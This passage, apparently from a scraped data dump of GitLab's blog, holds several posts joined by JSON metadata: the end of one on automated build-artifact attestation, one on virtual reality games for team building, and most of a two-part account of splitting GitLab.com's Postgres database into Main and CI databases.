White](https://gitlab.com/sam.white), principal product manager at GitLab. \n\n## The demand for attestation automation\n\nOrganizations might have previously felt comfortable performing periodic self-audits for compliance attestation, but [the stakes are now too high](/blog/biden-administration-celebrates-1-year-anniversary-of-eo-by-accelerating-software-supply-chain-security/) and public sector agencies, as well as private sector organizations, must consider automating this critical task, according to Krooswyk.\n\n“Until now, attestation has been a manual undertaking, which has been burdensome, expensive, and error-prone,” he says. “The more automation we can apply to attestation, and the more consistency we can incorporate from standards requirements, the better off software supply chain security will be and the more confidence we will have in development collaboration.”\n\nGitLab [introduced automated compliance attestation](https://docs.gitlab.com/ee/ci/runners/configure_runners.html#artifact-attestation) in Release 15.1. GitLab Runner can generate and produce attestation metadata for all build artifacts. To enable this feature, you must set the RUNNER_GENERATE_ARTIFACTS_METADATA environment variable to “true”. This variable can either be set globally or it can be set for individual jobs. The metadata is then rendered in a plain text .json file that’s stored with the artifact. \n\nLearn how to automatically generate GitLab SLSA Level 2 Build Artifact Attestation:\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n\n  \u003Ciframe src=\"https://www.youtube.com/embed/MlIdqrDgI8U\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\n\u003C/figure>\n\n\u003C!-- blank line -->\n\n## Building attestation into the development lifecycle\n\nSoftware development is a collaborative effort and organizations need to know that upstream dependencies have been built in a secure manner. “Not only do you need to know that the software has been developed without vulnerabilities, but that the machine that software was built on has not been compromised,” White says. “How can you know, without attestation, that the binary itself is authentic and that the risk has been minimized?” By automating attestation, organizations can help protect users of their software from code that has been injected with malware or build servers that have been overtaken.\n\n>Join us at [GitLab Commit 2022](/events/commit/) and connect with the ideas, technologies, and people that are driving DevOps and digital transformation.\n\n“If developers don’t have to worry about the setup or ongoing complexity of attestation, it will be a game-changer for the security industry, because you are validating right at the point of software development,” White says.\n\n## Next up: Integrated code signing and broader participation\n\nAs the public sector wades deeper into compliance, the next logical step is to introduce accountability through code signing. “Next, developers need to cryptographically sign both the build artifact and the attestation file,” White says. “This will add another layer of confidence in the build artifacts and the software supply chain overall.”\n\nAttestation also must become the norm upstream throughout the open source community. “Attestation is very much a network effect where the more people adopt it, the more effective it gets,” Krooswyk says. “Everyone needs to generate their own attestation at the point in time when they build their artifact.” \n\nKrooswyk adds that in addition to SBOM validation, he would like to see attestations expand to include all vulnerabilities that are known at the time a project is built. “We need a continuous ability to create a birth-to-death artifact history,” he says.\n\nAll users on a GitLab 15.1 or later release can get started with generating attestation for their build artifacts by setting `RUNNER_GENERATE_ARTIFACTS_METADATA: true` in their CI pipeline.  For a more comprehensive approach, users can take advantage of security approvals, code scanning, and compliance auditing by using GitLab Ultimate. To test out building a more overarching software supply chain security strategy, try GitLab Ultimate for free with a [30-day trial today](/free-trial/).\n",[4103,674,815,185],{"slug":13084,"featured":6,"template":678},"securing-the-software-supply-chain-through-automated-attestation","content:en-us:blog:securing-the-software-supply-chain-through-automated-attestation.yml","Securing The Software Supply Chain Through Automated Attestation","en-us/blog/securing-the-software-supply-chain-through-automated-attestation.yml","en-us/blog/securing-the-software-supply-chain-through-automated-attestation",{"_path":13090,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13091,"content":13097,"config":13103,"_id":13105,"_type":16,"title":13106,"_source":17,"_file":13107,"_stem":13108,"_extension":20},"/en-us/blog/virtual-reality-team-building",{"title":13092,"description":13093,"ogTitle":13092,"ogDescription":13093,"noIndex":6,"ogImage":13094,"ogUrl":13095,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13095,"schema":13096},"How to use virtual reality for team building","Zoom meetings are fine, but are there better options for team bonding? We tested a few virtual reality games. Here's what you need to know.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682413/Blog/Hero%20Images/jeshoots-com-xGtHjC_QNJM-unsplash.jpg","https://about.gitlab.com/blog/virtual-reality-team-building","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use virtual reality for team building\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matt Nohr\"}],\n        \"datePublished\": \"2022-08-09\",\n      }",{"title":13092,"description":13093,"authors":13098,"heroImage":13094,"date":13100,"body":13101,"category":6634,"tags":13102},[13099],"Matt Nohr","2022-08-09","\nSince GitLab is [All Remote](/company/culture/all-remote/), we are frequently looking for new ways to stay connected with each other. A short time ago, our chief technology officer attended a virtual reality (VR) networking session and saw some potential for this type of [collaboration](https://handbook.gitlab.com/handbook/values/#collaboration) within GitLab. As the [acting chief of staff to the CTO](/handbook/engineering/cto-staff/#acting-chief-of-staff-to-the-cto-rotation), I got the fun task of testing out how we could use VR as a team-building tool.\n\nFor this initial trial, I reached out to existing VR users at GitLab, using the #vr-pals slack channel. We also honed in on people who already had an Oculus Quest 2.\n\nHere are some of the things we tried, and what I found worked well:\n\n## Picking games\n\nI had some criteria when trying to find games to use for team building. First and foremost, I wanted games that felt inclusive to GitLab team members. Because of this, I ruled out shooting or other fighting games. I also stayed away from games that required a high level of physical activity. I found some games that had a long initial tutorial or game setup, which could have been appropriate but would have needed participants to do work in advance of any team-building sessions.\n\n## Explore the world - Wander\n\nThe first game we tried as a group was [Wander](https://www.oculus.com/experiences/quest/2078376005587859). This is basically a VR version of [Google Street View](https://www.google.com/streetview/). Our group took turns leading mini tours. I showed a place from a recent vacation, someone else gave us a tour of his hometown, and then we did one of the pre-built tours that come with the game. While we were using the game we could talk to each other, see where everyone else was looking, and even point things out.\n\nOne of the reasons I picked this game is that I've done something similar with team members over Zoom in the past. This felt more interactive since each person could look around on their own, and we weren't watching someone just screen-share a browser window.\n\nOne issue we had was that only five people could be in a room, which was a limitation of the game itself. We had more people than the room size allowed for, so some people did not get to participate. Now that we know this, we could work around it by splitting up into smaller groups in advance.\n\nIt also took a bit of time to become familiar with the controls. This was not a major concern, but we did have to explain the details to each other. This would happen with any game, and having teams familiarize themselves in advance would fix this problem. On the other hand, we did not want to have people required to do work before a team-building session.\n\nAnother challenge with this – and any other – game was identifying team members by their Oculus usernames and avatars. I would recommend players temporarily change their username for this type of team building.\n\nIf we wanted to do this again, it would be helpful to have people do a bit of planning in advance. For example, I could build a mini tour in the game using the \"favorites\" feature and then walk through that. It would make it flow a bit better and could be more inclusive if people felt more prepared. We could also have different sessions with themes like \"favorite vacation spots\" or \"best local food.\"\n\n## Bowling party - ForeVR Bowl\n\nThe other game we tried as a group was [ForeVR Bowl](https://www.oculus.com/experiences/quest/3420508614708029/). This was fun because, while we were bowling, we were mostly using the time together to tell stories and get to know each other. In this game, there are different bowling balls that are hidden for you to find and unlock, and after a couple of rounds of bowling, we decided just to go search for all the hidden balls. It was fun to be able to do this joint treasure hunt, and there are probably other good games that fit this theme as well.\n\nWe had some audio issues that we needed to work through on this game, but once we got that sorted out it was very smooth. I'm not sure how great the bowling mechanics/physics of the game are, but we were not trying to get high scores, just to socialize.\n\nLike Wander, there is a limit on the number of people in a bowling party, which is something to keep in mind. The controls also take a bit of getting used to for moving around the bowling alley, but that did not get in the way.\n\n## Other games\n\nThere were a couple of other games that were suggested that we did not get a chance to try.\n\nFirst is [Beat Saber](https://www.oculus.com/experiences/quest/2448060205267927/). I really enjoy playing this game, but it seems to work best as a single-player game. There is not a ton of collaboration. \n\nAnother game is [Rec Room](https://www.oculus.com/experiences/quest/2173678582678296/). This is something we could try in the future as it has a bunch of mini-games within it. It does take a bit of practice to get used to the game and controls, and that is why I did not include it in our trial.\n\nTo be more business-focused, I also tried out [Immersed](https://www.oculus.com/experiences/quest/2849273531812512/). I mainly used the desktop feature, which mirrors your computer to VR and you can have many virtual monitors. It was interesting, but I found that I got fatigued when trying to do actual work in this mode. There is also a virtual meeting room we could try, but for that, it seems our current Zoom setup is more efficient. \n\n## Going forward\n\nOverall, I think using VR is a fun way to connect with team members from all over the world, and something we should continue to explore. Over the past few years meeting in person has been difficult, so finding new ways to connect with each other virtually is something we should keep working on.\n\nOne major consideration is the price and availability of VR headsets for team members in different parts of the world. To give just one example, in South Africa the headsets cost about 2.5 times more than they do in the United States – if you can find them in stock. If we wanted to use this tool, we would need to ensure all team members had equal access to the hardware.\n\nCover image by \u003Ca href=\"https://unsplash.com/@jeshoots?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\">JESHOOTS.COM\u003C/a> on \u003Ca href=\"https://unsplash.com/s/photos/virtual-reality?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\">Unsplash\u003C/a>\n{: .note}\n",[3798],{"slug":13104,"featured":6,"template":678},"virtual-reality-team-building","content:en-us:blog:virtual-reality-team-building.yml","Virtual Reality Team Building","en-us/blog/virtual-reality-team-building.yml","en-us/blog/virtual-reality-team-building",{"_path":13110,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13111,"content":13116,"config":13122,"_id":13124,"_type":16,"title":13125,"_source":17,"_file":13126,"_stem":13127,"_extension":20},"/en-us/blog/path-to-decomposing-gitlab-database-part1",{"title":13112,"description":13113,"ogTitle":13112,"ogDescription":13113,"noIndex":6,"ogImage":12013,"ogUrl":13114,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13114,"schema":13115},"Decomposing the GitLab backend database, Part 1: Designing and planning","A technical summary of the yearlong project to decompose GitLab's Postgres database. This first part focuses on the initial designing and planning of the project.","https://about.gitlab.com/blog/path-to-decomposing-gitlab-database-part1","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Decomposing the GitLab backend database, Part 1: Designing and planning\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dylan Griffith\"}],\n        \"datePublished\": \"2022-08-04\",\n      }",{"title":13112,"description":13113,"authors":13117,"heroImage":12013,"date":13119,"body":13120,"category":734,"tags":13121},[13118],"Dylan Griffith","2022-08-04","\nRecently we finished [migrating the GitLab.com monolithic Postgres database to two independent databases: `Main` and `CI`](/blog/splitting-database-into-main-and-ci/). After we decided how to split things up, the project took about a year to complete.\n\nThis blog post on decomposing the GitLab backend database is part one in a three-part series. The posts give technical details about many of the challenges we had to\novercome, as well as links to issues, merge requests, epics, and developer-facing documentation.\nOur hope is that you can get as much detail as you want about how we work on complex projects at GitLab.\n\nWe highlight the most interesting details, but anyone undertaking a similar\nproject might learn a lot from seeing all\nthe different trade-offs we evaluated along the way.\n\n- \"Decomposing the GitLab backend database, Part 1\" focuses on the initial design and planning of the project.\n- [Part 2](/blog/path-to-decomposing-gitlab-database-part2/) focuses on the\nexecution of the final migration.\n- [Part 3](/blog/path-to-decomposing-gitlab-database-part3/) highlights some interesting technical challenges we had to solve along the way, as well as some surprises.\n\n## How it began\n\nBack in early 2021, GitLab formed a \"database sharding\" team in an effort to\ndeal with our ever-growing monolithic Postgres database. This database stored\nalmost all the data generated by GitLab.com users, excluding git data and some other\nsmaller things.\n\nAs this database grew over time, it became a common source of\nincidents for GitLab. We knew that eventually we had to move away from a single\nPostgres database. We were already approaching the limits of what we could do\non a single VM with 96 vCPU and continually trying to vertically scale this VM\nwould eventually not be possible. Even if we could vertically scale forever,\nmanaging such a large Postgres database just becomes more and more difficult.\n\nEven though our database architecture has been monolithic for a long time, we already made use of many scaling techniques, including:\n\n- Using Patroni to have a pool of replicas for read-only traffic\n- Using PGBouncer for pooling the vast number of connections across our application fleet\n\n![Database architecture before decomposition](https://about.gitlab.com/images/blogimages/2022-07-15-path-to-decomposing-gitlab-database/phase0.png)\n\nThese approaches only got us so far and ultimately would never fix the scaling\nbottleneck of the number of writes that need to happen, because all writes need to\ngo to the primary database.\n\nThe original objective of the database sharding team was to find a viable way\nto horizontally shard the data in the database. We started with exploring\n[sharding by top-level namespace][sharding_by_top_level_namespace_poc_epic]. This approach had some very complicated problems to solve, because the application\nwas never designed to have strict tenancy boundaries around top-level\nnamespaces. We believe that ultimately this will be a good way to split and\nscale the database, but we needed a shorter term solution to our scaling\nproblems.\n\nThis is when we evaluated different ways to extract certain tables into a\nseparate database. This approach is often referred to as \"vertical\npartitioning\" or \"functional decomposition.\" We assumed this extraction would likely\nbe easier, as long as we found a set of tables with loose coupling to the rest\nof the database. We knew it would require us to remove all joins to the rest of the\ntables (more on that later).\n\n## Figuring out where most write activity occurs\n\nWe did [an analysis][analysis_of_decomposition_tables] of:\n\n- Where the bulk of our data was stored\n- The write traffic (since ultimately the number of writes was the thing we were trying to reduce)\n\nWe learned that CI tables (at the time) made up around 40% to 50% of our write traffic. This seemed like a\nperfect candidate, because splitting the database in half (by write traffic) would be\nthe optimal scaling step.\n\nWe analyzed the data by splitting the database the following ways:\n\n| Tables group   | DB size (GB) | DB size (%) | Reads/s   | Reads/s (%) | Writes/s | Writes/s (%) |\n|----------------|--------------|-------------|-----------|-------------|----------|--------------|\n| Webhook logs   | 2964.1       | 22.39%      | 52.5      | 0.00%       | 110.0    | 2.82%        |\n| Merge Requests | 2673.7       | 20.20%      | 126073.4  | 1.31%       | 795.4    | 20.40%       |\n| CI             | 4725.0       | 35.69%      | 1712843.8 | 17.87%      | 1909.2   | 48.98%       |\n| Rest           | 2876.3       | 21.73%      | 7748488.5 | 80.82%      | 1083.6   | 27.80%       |\n\nChoosing to split the CI tables from the database was partly based on instinct.\nWe knew the CI tables (particularly `ci_builds` and\nrelated metadata) were already some of the largest tables in our database. It\nwas also a convenient choice because the CI tables were already prefixed with\n`ci_`. In the end, we realized only three tables were CI tables that weren't\nprefixed with `ci_`. You can see the up-to-date list of tables and their respective\ndatabase in [`gitlab_schemas.yml`][gitlab_schemas_yml].\n\nThe next step was to see how viable it actually was.\n\n## Proving it can work\n\nThe [first proof-of-concept merge request][initial_poc_mr_for_ci_decomposition] was created\nin August 2021. The proof-of-concept process involved:\n\n- Separating the database and seeing what broke\n- Fixing blockers and marking todo's until we ended up with the application \"pretty much working\"\n\nWe never merged this proof of concept, but we progressively broke out changes into smaller merge requests\nor issues assigned to the appropriate teams to fix.\n\n![Screenshot of large proof-of-concept MR](https://about.gitlab.com/images/blogimages/2022-07-15-path-to-decomposing-gitlab-database/poc-mr-scale.png)\n\n## Chasing a moving target\n\nWhen tackling a large-scale architecture change, you might find\nyourself chasing a moving target.\n\nTo split the database, we had to change the application. Our code depended on all\nthe tables being in a single database. These changes took almost a year.\n\nIn the meantime, the application was constantly evolving\nand growing, and with contributions from many engineers who weren't necessarily\nfamiliar with the CI decomposition project. This meant that we couldn't just\nstart fixing problems. We knew we would likely find new problems being\nintroduced at a faster rate than we could remove them.\n\nTo solve this problem, we took an approach that was inspired by\n[how we handle new RuboCop rules](https://docs.gitlab.com/ee/development/contributing/style_guides.html#resolving-rubocop-exceptions).\nThe idea is to implement static or dynamic analysis to detect these\nproblems. Then we use this information to generate an allowlist of exceptions.\nAfter we have this allowlist of exceptions, we prevent any new violations from being created\n(as any new violations will fail the pipeline).\n\nThe result was a clear list to work on and visibility into our progress.\n\nAs part of making the application compatible with CI decomposition, we needed to\nbuild the following:\n\n- [Multiple databases documentation][docs_multiple_databases] taught\n  developers how to write code that is compatible with multiple databases.\n- [Cross-join detection][mr_cross_join_detection] analyzed all SQL queries\n  and raised an error if the query spanned multiple databases.\n- [Cross-database transaction detection][mr_cross_db_transaction_detection]\n  analyzed all transactions and raised an error if queries were sent to two\n  different databases within the context of a single transaction.\n- [Query analyzer metrics][mr_query_analyzer_metrics] analyzed all SQL queries\n  and tracked the different databases that would be queried (based on table\n  names). These metrics, which were sampled at a rate of 1/10,000 queries, because they are\n  expensive to parse, were sent to Prometheus. We used this data to get a sense\n  of whether we were whittling down the list of cross-joins in production.\n  It also helped us catch code paths that weren't covered by tests but were\n  executed in production.\n- [A Rubocop rule for preventing the use of\n  `ActiveRecord::Base`][mr_rubocop_rule_ar_base] ensured that we always\n  used an explicit database connection for Main or CI.\n\n## Using Rails multiple database support\n\nWhen we began this project, there were many improvements being added to Rails to\nsupport multiple databases. We wanted to make use of as much of this Rails\nbuilt-in support as possible to minimize the amount of custom database\nconnection logic we had to maintain.\n\nOne considerable challenge with this was our existing\n[custom database load balancing logic](https://docs.gitlab.com/ee/administration/postgresql/database_load_balancing.html).\nThe development of this complex implementation spans a long period of time, and\nit was designed differently to how Rails connections were managed in the new\nmulti-database support.\n\nIn the end, were able to use parts of Rails multiple database support, but\n[we still hope to one day remove our custom logic and only use what is supported by Rails][epic_to_move_to_native_rails_multiple_dataabase_support].\n\n## Implementing loose foreign keys\n\nThere were still some foreign keys that existed between CI and non-CI tables.\nWe needed a way to remove these keys but still keep the functionality of cascading\ndeletes.\n\nIn the end, [we implemented a solution][lfk_mr]\nwe call [\"loose foreign keys\"][lfk_docs]. This solution provides similar functionality and\nsupport for cascading `NULLIFY` or `DELETE` when a parent record is deleted in\nPostgres. It's implemented using Postgres on delete triggers, so it guarantees all\ndeletes (including bulk deletes) will be handled. The trigger writes to another\n\"queue\" table in Postgres, which then is picked up by a periodic Sidekiq worker\nto clean up all the impacted child records.\n\nWhen implementing this solution, we also considered the option of using\n[`ActiveRecord` `before_destroy` callbacks](https://apidock.com/rails/ActiveRecord/Callbacks/before_destroy).\nHowever they couldn't give us the same guarantees as Postgres foreign keys,\nbecause they can be intentionally or accidentally skipped.\n\nIn the end, the \"loose foreign keys\" solution also helped to solve another problem\nwe have, where very large cascading deletes cause timeouts and user experience issues.\nBecause it's asynchronous, we could easily control timing and batch sizes to never\nhave database timeouts and never overload the database with a single large\ndelete.\n\n## Mirroring namespaces and projects\n\nOne of the most difficult dependencies between CI and Main features in GitLab\nis how CI Runners are configured. Runners are assigned to projects and groups\nwhich then dictates which jobs they will run. This meant there were many join\nqueries from the `ci_runners` table to the `projects` and `namespaces` tables.\nWe solved most of these issues by refactoring our Rails code and queries, but\nsome proved very difficult to do efficiently.\n\nTo work around this issue, [we implemented][mr_namespace_project_mirroring] a mechanism to\n[mirror the relevant columns on `projects` and `namespaces` to the CI database][docs_ci_mirrored_tables].\n\nIt's not ideal to have to duplicate data that must be kept up-to-date like\nthis, but while we expected this may be necessary in a few places, it turns out\nthat we only ended up doing this for those two tables. All other joins could be\nhandled without mirroring.\n\nAn important part of our mirroring architecture is periodic\n[consistency checking][mr_namespace_project_mirroring_consistency_check].\nEvery time this process runs, it takes a batch of the mirrored rows and compares them\nwith the expected values. If there is a discrepancy, it schedules them to be fixed.\nAfter it's done with this batch, it updates a cursor in Redis to be used for the\nnext batch.\n\n## Creating a phased rollout strategy\n\nA key part of ensuring our live migration went as smooth as possible was by\nmaking it as small as possible. This was quite difficult as the migration from\n1 database to 2 databases is a discrete change that seems hard to break up into\nsmaller steps that can be rolled out individually.\n\nOne [early insight][initial_migration_plan_mr] was that we could actually reconfigure GitLab.com ahead of\ntime so that the Rails application behaved as though it was talking to two\nseparate databases long before we actually split the databases. Basically the\nidea was that the Rails processes already had two separate database connections,\nbut ultimately they were going to the same database. We could even break things\nout further since our read-only connections are designed to read from slightly\ndelayed replicas. So we could already have read-only connections going to the\nnewly created CI read-only replicas before the migration.\n\n![Database architecture before final migration step](https://about.gitlab.com/images/blogimages/2022-07-15-path-to-decomposing-gitlab-database/phase4.png)\n\nThese insights led to our [seven-phase migration process][phased_migration_epic].\nThis process meant that by the time we got to the final migration on production\n(Phase 7), we were already incredibly confident that the application would work\nwith separate databases and the actual change being shipped was just trivial\nreconfiguration of a single database host. This also meant that all phases\n(except for Phase 7) had a very trivial rollback process, introduced very\nlittle risk of incident and could be shipped before we were finished with every\ncode change necessary to make the application support two databases.\n\nThe seven phases were:\n\n1. Deploy a Patroni cluster\n2. Configure Patroni standby cluster\n3. Serve CI reads from CI standby cluster\n4. Separate write connections for CI and Main (still going to the same primary host)\n5. Do a staging dry run and finishing the migration plan\n6. Validate metrics and additional logging\n7. Promote the CI database and send writes to it\n\n## Using labels to distribute work and prioritize\n\nNow that we had a clear set of phases we could prioritize our work. All issues\nwere assigned [scoped labels](https://docs.gitlab.com/ee/user/project/labels.html#scoped-labels)\nbased on the specific phase they corresponded to. Since the work spanned many\nteams in development and infrastructure, those teams could use the\nlabel to easily tell which issues needed to be worked on first. Additionally,\nsince we kept an up-to-date timeline of when we expected to ship each phase,\neach team could use the phase label to determine a rough deadline of when that\nwork should get done to not delay the project. Overall there were at least 193\nissues over all phases. Phase 1 and 2 were mostly infrastructure tasks tracked\nin a different group and with different labels, but the other phases contained\nthe bulk of the development team requirements:\n\n1. [8 Phase 3 issues](https://gitlab.com/gitlab-org/gitlab/-/issues/?sort=created_date&state=opened&label_name%5B%5D=ci-decomposition%3A%3Aphase3)\n1. [78 Phase 4 issues](https://gitlab.com/gitlab-org/gitlab/-/issues/?sort=created_date&state=opened&label_name%5B%5D=ci-decomposition%3A%3Aphase4)\n1. [7 Phase 5 issues](https://gitlab.com/gitlab-org/gitlab/-/issues/?sort=created_date&state=opened&label_name%5B%5D=ci-decomposition%3A%3Aphase5)\n1. [64 Phase 6 issues](https://gitlab.com/gitlab-org/gitlab/-/issues/?sort=created_date&state=opened&label_name%5B%5D=ci-decomposition%3A%3Aphase6)\n1. [34 Phase 7 issues](https://gitlab.com/gitlab-org/gitlab/-/issues/?sort=created_date&state=opened&label_name%5B%5D=ci-decomposition%3A%3Aphase7)\n\n## Continue reading\n\nYou can read more about the final migration process and results of the migration in [Part 2](/blog/path-to-decomposing-gitlab-database-part2/).\n\n[initial_poc_mr_for_ci_decomposition]: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/67486\n[initial_migration_plan_mr]: https://gitlab.com/gitlab-com/www-gitlab-com/-/merge_requests/84588\n[lfk_mr]: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/69165\n[lfk_docs]: https://docs.gitlab.com/ee/development/database/loose_foreign_keys.html\n[epic_to_move_to_native_rails_multiple_dataabase_support]: https://gitlab.com/gitlab-org/gitlab/-/issues/296870\n[phased_migration_epic]: https://gitlab.com/groups/gitlab-org/-/epics/6160\n[sharding_by_top_level_namespace_poc_epic]: https://gitlab.com/groups/gitlab-org/-/epics/5838\n[analysis_of_decomposition_tables]: https://gitlab.com/groups/gitlab-org/-/epics/5883#summary-of-impact\n[gitlab_schemas_yml]: https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/database/gitlab_schemas.yml\n[docs_ci_mirrored_tables]: https://docs.gitlab.com/ee/development/database/ci_mirrored_tables.html\n[mr_cross_join_detection]: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68620\n[mr_cross_db_transaction_detection]: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/67213\n[mr_query_analyzer_metrics]: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/73839\n[mr_rubocop_rule_ar_base]: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64937\n[mr_namespace_project_mirroring]: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75517\n[mr_namespace_project_mirroring_consistency_check]: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/81836\n[docs_multiple_databases]: https://docs.gitlab.com/ee/development/database/multiple_databases.html\n",[676,2248],{"slug":13123,"featured":6,"template":678},"path-to-decomposing-gitlab-database-part1","content:en-us:blog:path-to-decomposing-gitlab-database-part1.yml","Path To Decomposing Gitlab Database Part1","en-us/blog/path-to-decomposing-gitlab-database-part1.yml","en-us/blog/path-to-decomposing-gitlab-database-part1",{"_path":13129,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13130,"content":13135,"config":13140,"_id":13142,"_type":16,"title":13143,"_source":17,"_file":13144,"_stem":13145,"_extension":20},"/en-us/blog/path-to-decomposing-gitlab-database-part2",{"title":13131,"description":13132,"ogTitle":13131,"ogDescription":13132,"noIndex":6,"ogImage":12013,"ogUrl":13133,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13133,"schema":13134},"GitLab database decomposition: Final migration and results","This is the second in our three-part technical summary of the yearlong project to decompose GitLab's Postgres database.","https://about.gitlab.com/blog/path-to-decomposing-gitlab-database-part2","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Decomposing the GitLab backend database, Part 2: Final migration and results\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dylan Griffith\"}],\n        \"datePublished\": \"2022-08-04\",\n      }",{"title":13136,"description":13132,"authors":13137,"heroImage":12013,"date":13119,"body":13138,"category":734,"tags":13139},"Decomposing the GitLab backend database, Part 2: Final migration and results",[13118],"\n\n_This blog post is part 2 in a three-part series about decomposing the GitLab backend database. It focuses on the final migration\nprocess and highlights the results we achieved after the migration. If you want to read about the design and planning phase, check out [part 1](/blog/path-to-decomposing-gitlab-database-part1/)._\n\n## Deciding between zero downtime and full downtime\n\nEarly on in the project we thought it would be necessary for the migration to\nbe \"zero downtime\" or \"near-zero downtime\". We [came up with this plan][initial_migration_plan_mr]\nearly on which involved (in summary):\n1. The entire database would be replicated (including non-CI tables) using\n   Patroni cascading/standby replication to a dedicated CI Patroni cluster.\n   Replication only lags by at most a few seconds.\n2. Read traffic for CI tables could be split ahead of time to read from the CI\n   replicas.\n3. Write traffic would be split ahead of the migration into CI and Main by\n   sending these through separate dedicated PGBouncer proxies. Initially CI\n   writes still go to the Main database since the CI cluster is just a standby.\n   These proxies would be the thing we reconfigured during the live migration\n   to point at the CI cluster.\n4. At the time of migration we would pause writes to the CI tables by pausing\n   the CI PGBouncer.\n5. After pausing writes to the CI database we'd capture the current LSN\n   position in Postgres of the Main primary database (now expect no more writes\n   to CI tables to be possible).\n6. After that we wait until the CI database replication catches up to that\n   point.\n7. Then we promote the CI database to accept writes (remove the cascading\n   replication).\n8. Then we reconfigure writes to point to the CI database by updating the write\n   host in the CI PGBouncer.\n9. The migration is done.\n\n![Database architecture actual final migration step](https://about.gitlab.com/images/blogimages/2022-07-15-path-to-decomposing-gitlab-database/phase4to7.png)\n\nThis approach (assuming that the CI replicas were only delayed by a few\nseconds) would mean that, at most, there would be a few seconds where CI writes\nmight result in errors and 500s for users. Many failures would likely already\nbe retried since much of CI write traffic goes via asynchronous (Sidekiq)\nprocesses that automatically retry.\n\nIn the end we didn't use this approach because:\n\n1. This approach didn't have an easy-to-implement rollback strategy. Data that\n   was written to CI tables during the migration would be lost if we rolled\n   back to just the Main database.\n2. The period of a few seconds where we expect to see some errors might make it\n   difficult for us to quickly determine the success or failure of the\n   migration.\n3. There was no hard business requirement to avoid downtime.\n\nThe [migration approach we ended up using][phase7_summary_epic] took two\nhours of downtime. We stopped all GitLab services that could read or write\nfrom the database. We also blocked user-level traffic at the CDN (Cloudflare) to allow us\nto do some automated and manual testing before opening traffic back up to\nusers. This allowed us to prepare a [slightly more straightforward rollback procedure][rollback_issue],\nwhich was:\n\n1. Reconfigure all read-only CI traffic back to the Main replicas\n2. Reconfigure all read-write CI traffic (via PGBouncer) back to the Main\n   primary database\n3. Increment the Postgres sequences for all CI tables to avoid overlapping with\n   data we created in our testing\n\nUltimately having a simple rollback mechanism proved very useful in doing many\npractice runs on staging.\n\n## Rehearsing the migration process\n\nBefore executing the final migration on GitLab.com, we executed seven rehearsals\nwith rollback and one final migration on our staging environment. In these\npractice runs, we discovered many small issues that would have likely caused\nissues in the production environment.\n\nThese rehearsals also gave all the participants an opportunity to perfect their steps\nin the process to minimize delays in our production rollout. This practice\nultimately allowed us to be quite confident in our timeline of at most two hours of downtime.\n\nIn the end, we finished the migration in 93 minutes, with a few small delays caused by\nsurprises we did not see in staging.\n\nThe rehearsal process was very time-consuming and a vast effort to execute in\nthe context of GitLab, where we all [work\nasynchronously](https://about.gitlab.com/company/culture/all-remote/asynchronous/)\nand across different timezones. However, it proved to be essential to the success of\nthis project.\n\n## Preparing for production migration\n\nOne week before our the final migration on production we prepared a production\nreadiness review issue for final approval from executives. This was a good\nopportunity to highlight all the preparation and validation we'd done to give\nus confidence in the plan. This also encouraged us to do extra validation where\nwe might expect to see questions or concerns about the plan.\n\nSome highlights from this review included:\n\n1. The amount of practice runs we'd done including details about the problems\n   we'd seen and resolved in staging\n2. Metrics which we'd observed to prove all the queries were using the right\n   database connections already\n3. Details about how long we'd been running without issues in local development\n   with all GitLab developers running with two databases by default\n4. Details about the rollback strategy we would use if necessary and how we\n   tested this rollback strategy in staging as well as some production\n   validation\n\n## Tracking the results\n\nAfter we completed the rollout we tracked\n[performance improvements across some metrics we expected to improve][performance_improvements_tracking_issue].\n\nThe data showed:\n\n- We decreased the CPU utilization of our primary database server, giving us much more headroom.\n\n  ![CPU peaks before and after decomposition shows smaller peaks after](https://about.gitlab.com/images/blogimages/2022-07-15-path-to-decomposing-gitlab-database/cpu-post-decomposition-improvement.png)\n\n- We can free around 9.2TiB out of 22TiB from our Main database by truncating the CI tables.\n- We can free around 12.5TiB out of 22TiB from our CI database by truncating the Main tables.\n- We significantly reduced the rate of dead tuples on our Main database.\n- We significantly reduced vacuuming saturation. Before decomposition the Main database\n  maximum vacuuming saturation was up to 100%, with the average closer to 80%. After\n  decomposition, vacuuming saturation has stabilized at around 15% for\n  both databases.\n\n  ![Vacuum saturation before and after decomposition shows a decrease after decomposition](https://about.gitlab.com/images/blogimages/2022-07-15-path-to-decomposing-gitlab-database/vacuum-saturation-post-decomposition.png)\n\n- We reduced the average query duration for our Sidekiq PGBouncer query\n  pool by at least a factor of 5 once we scaled up connection limits due to our\n  increased headroom. Previously we needed to throttle connections for\n  asynchronous workloads to avoid overloading the primary database.\n\n  ![Average active query duration by workload shows a decrease after scaling connections after decomposition](https://about.gitlab.com/images/blogimages/2022-07-15-path-to-decomposing-gitlab-database/pgbouncer-active-query-duration-by-workload.png)\n\n## Continue reading\n\nYou can read more about some interesting technical challenges and surprises we\nhad to deal with along the way in\n[part 3](/blog/path-to-decomposing-gitlab-database-part3/).\n\n[initial_migration_plan_mr]: 